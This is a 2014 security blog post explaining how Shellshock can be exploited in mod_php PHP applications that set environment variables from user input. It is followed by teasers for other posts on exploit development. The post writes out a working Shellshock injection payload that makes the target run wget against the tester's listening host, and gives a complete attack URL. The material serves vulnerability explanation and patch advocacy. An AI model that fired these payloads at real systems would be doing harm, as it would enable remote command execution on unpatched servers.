Shellshock – Targeting Non-CGI PHP

Written on:September 30, 2014
Comments
Add One
shellshock_php_0

Original Shell design by Guillaume Kurkdjian 
Updated version from Fedora Magazine
Both licenced CC-BY-3.0

I’ve seen debates as to whether or not it’s possible to have an unpatched PHP server running in mod_php mode (i.e. not CGI) that is vulnerable to Shellshock. From my testing, the answer appears to be Yes…with some prerequisite conditions.

First, the PHP application would have to be using Bash for its system commands — exec(), passthru(), system(), popen(), etc. This is pretty obvious since Shellshock is a Bash-specific vulnerability. Although PHP system command functions such as exec() will use typically use /bin/sh by default, it’s not uncommon for *NIX systems to symlink /bin/sh to /bin/bash.

shellshock_php_1

Second, the application would have to set some Environment variables based on un-sanitized HTTP variables (Cookie, User-Agent, GET/POST parameters). Although setting any variable from untrusted data is bad news, in the case of Environment variables I’ve come across it several times. Consider an application that sets a default language Environment variable based on a GET parameter lang:

Alternatively, this could just as easily be accomplished via a cookie parameter:

This could be done for any number of reasons, possibly for use by one or more functions in other components of the application.

Sure using untrusted data is bad, but before Shellshock a developer may have been thinking, “Well I don’t really execute or use the contents of this parameter beyond a simple comparison so the risk should be minimal”.

That brings me to the third condition which is that somewhere in the PHP application (after the setting of the Environment variable), there is a call to a PHP command exec function — exec(), system(), popen(), passthru(), etc. Since the application is using the Bash shell (thanks to the symlink from condition 1), the environment variables created from the unsanitized user input will be loaded and evaluated due to the parsing error of the Shellshock bug.

For example, referencing the above code, a value of EN for the environment variable LANGUAGE would be innocuous. However, a value of(){:;}; /usr/bin/wget http://{$IP}:{$PORT} would execute wget as soon as the PHP script called a system command via exec().

The interesting thing to note is that this PHP exec() call does not need to be related whatsoever to the environment variable, as long as it happens afterwards.

What makes this problem difficult to detect is that these Environment variables and subsequent system calls could happen in completely separate components of the PHP application. For example, you might have config.php that gets and sets the LANGUAGE environment variable and update.php that makes a completely unrelated system call such as $pwd = system(“pwd”);. The main PHP script could look as follows:

This would trigger the exploit as long as that exec(“pwd”) call happens second. Consider how difficult it might be to identify these two components in a large application. In most cases, while system administrators should understand what applications are running on their respective servers, they would not likely have this detailed level of knowledge of how the code is constructed. This is why it’s important to patch affected *NIX servers as soon as possible.

It’s also a bit more difficult to confirm this vulnerability from the outside, not because it’s technically complicated but rather because it’s dependent upon both the application design and the hosting server environment. The application could set environment variables and make subsequent system calls but if those calls don’t invoke Bash, the exploit won’t be triggered. Also, determining which variables to test (GET, POST, Cookie, User-Agent, etc) can be difficult for large applications, though this can be made easier with an intercepting proxy like Burp (see my previous post here: http://www.securitysift.com/the-search-for-shellshock/).

I’ve tested this in a couple of unpatched Debian-based environments with the same successful results. If you’d like to test for yourself on an unpatched machine running Apache/PHP in  mod_php mode, here is some sample code:

Again, just make sure your /bin/sh is symlinked to /bin/bash and that you’re using mod_php (the value for Server API will be “Apache 2.0 Handler” when you call phpinfo()). Once you have the script in the desired web directory, call the page and pass your test string as the value for lang, either via a GET parameter or via a Cookie value.

For example, the following URL should execute a GET call back to your machine (where $IP and $PORT correspond to your listening machine):

http://target_server/path/test.php?lang=() { :;}; /usr/bin/wget http://{$IP}:{$PORT}

You can use Wireshark to catch the wget calls. Alternatively, you could use netcat or if you want a simple listener that supports multiple connections, you can see my previous post: http://www.securitysift.com/the-search-for-shellshock/.

Here’s some more info about non-CGI PHP vulnerability: http://lcamtuf.blogspot.com/2014/09/quick-notes-about-bash-bug-its-impact.html

Until next time,

-Mike

The Search For Shellshock

Written on:September 28, 2014
shellshock_2

Introduction By now there are hundreds or even thousands of posts and articles about the Bash “Shellshock” vuln and more will be written tomorrow (and the next day …). With that in mind, this post will be fairly short and I won’t be rehashing what shellshock is or why it’s a problem. For that you can simply Google “shellshock” and you’ll find all you wanted to know and more. If you want…

Read more...

Why Google Makes My Job More Difficult

Written on:September 23, 2014
google_13

Let me start this post by saying I’m a huge Google fan. I use multiple Android devices and like many others, I’ve become an avid user of services such as Gmail, Docs, Maps, Photos, and Youtube. I even find myself fondly reminiscing about discontinued services such as Reader. And, if you’re like me, Google search has become an instrumental tool in your professional endeavors. So please keep in mind, this post is…

Read more...

Windows Exploit Development – Part 7: Unicode Buffer Overflows

Written on:September 3, 2014
win_exploit_7_24

Introduction In this seventh installment of the Windows Exploit Development Series, I’ll introduce Unicode Buffer Overflows. We’ll start with a brief introduction to Unicode (what it is and why/how it’s used in Windows) and then jump right in to some example exploits. If you plan on following along, I recommend you have the following: A Windows environment (XP or Win 7 — my demos will be on the latter) Metasploit, Alpha2 or…

Read more...

Fun With Teensy

Written on:July 21, 2014
funwithteensy_2

Introduction I’ve been wanting to write about the Teensy and its application in security testing or some time now. It’s extremely useful for executing scripts on a target machine without the need for human-to-keyboard interaction. It can be used to bypass auto-run, AV scanning, and encryption policies commonly targeting removable media devices in an enterprise environment. I’ve used it in my security testing to run recon/enumeration scripts, execute reverse shells, exploit local…

Read more...

Solving the 2014 DBIR Puzzle Challenge

Written on:May 6, 2014
dbir2014_44

Intro This year’s challenge was quite…well…challenging. Unfortunately Andrij, Will, and I were not able to repeat last year’s win and had to settle for second place. Frankly, at one point we weren’t sure we were going to finish at all, so we’ll take it! Read on to see our approach to finding the clues and solving the puzzle – and all of the frustrating missteps along the way. Day 0…

Read more...

Understanding WordPress Auth Cookies

Written on:April 20, 2014
wpauth_1

Introduction A recently published vulnerability prompted me to take another look at the wp_validate_auth_cookie WordPress function which is responsible for validating authenticated user requests and ultimately controls access to to your WordPress installation. This post is not about that specific vulnerability (more info here) but rather about how WordPress generates and validates authentication cookies to authorize user requests. If you’re a WordPress user, I encourage you to read on to see what stands between malicious actors and…

Read more...

Windows Exploit Development – Part 6: SEH Exploits

Written on:March 25, 2014
win_exploit_6_1

Introduction The buffer overflow exploits covered so far in this tutorial series have generally involved some form of direct EIP overwrite using a CALL or JMP instruction(s) to reach our shellcode. Today we’ll take a look at a different approach using Windows Structured Exception Handling (SEH). Before I begin explaining the basic mechanics of Windows Structured Exception Handling (as it’s implemented in an x86, 32-bit environment) it bears mentioning that…

Read more...

Passive Reconnaissance

Written on:February 5, 2014
passive_recon_9

Introduction Recently, while watching the House Committee hearings on the security of Healthcare.gov, I was disappointed to hear testimony likening passive reconnaissance to a form of unauthorized/illegal activity that involved potentially invasive actions such as port/vulnerability scanning. To the contrary, passive recon can be one of the most useful and unobtrusive methods of data gathering for any penetration test or security assessment. In this post I outline what passive reconnaissance…

Read more...

Securing Healthcare.gov – Failures, Fixes, and Next Steps

Written on:January 17, 2014

Introduction The views expressed in this blog are my own. Just to be clear, that means they are not the views of my employer, co-workers, family, friends, casual acquaintances, strangers, or anyone other than myself.  There has been plenty of news coverage about the security flaws that have plagued Healthcare.gov since it went live in October 2013: Hackers: HealthCare.gov still riddled with potential security issues  Exclusive: Security Risks Seen at…

Read more...